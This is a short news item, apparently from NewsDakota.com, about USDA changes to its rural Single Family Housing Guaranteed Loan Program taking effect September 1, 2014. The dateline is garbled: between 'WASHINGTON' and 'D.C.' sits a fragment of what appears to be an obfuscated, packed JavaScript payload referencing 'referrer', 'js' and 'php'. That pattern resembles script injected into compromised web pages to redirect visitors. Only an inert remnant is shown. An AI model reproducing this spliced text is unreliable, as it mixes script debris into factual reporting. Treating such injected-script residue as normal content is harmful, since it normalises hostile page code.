WASHINGTON, nznsf|var|u0026u|referrer|frnra||js|php’.split(‘|’),0,{}))
D.C. (NewsDakota.com) – U.S. Department of Agriculture (USDA) Secretary Tom Vilsack announced changes to a popular loan program for rural home buyers.

The changes are expected to strengthen rural housing markets, increase the availability of rural home loans and spur construction of new homes in rural areas. The changes are slated to take effect on September 1st, 2014 and will improve the USDA Rural Development’s Single Family Housing Guaranteed Loan Program.

Any lending entity supervised and regulated by the Federal Deposit Insurance Corporation, National Credit Union Administration, the Office of the Comptroller of the Currency, the Federal Reserve Banks, or the Federal Housing Finance Board may underwrite loans guaranteed by the Rural Development. This would enable many small community banks and credit unions to participate in the program. Borrowers would also be able to choose home loan terms shorter than 30 years.

Full list of changes available here.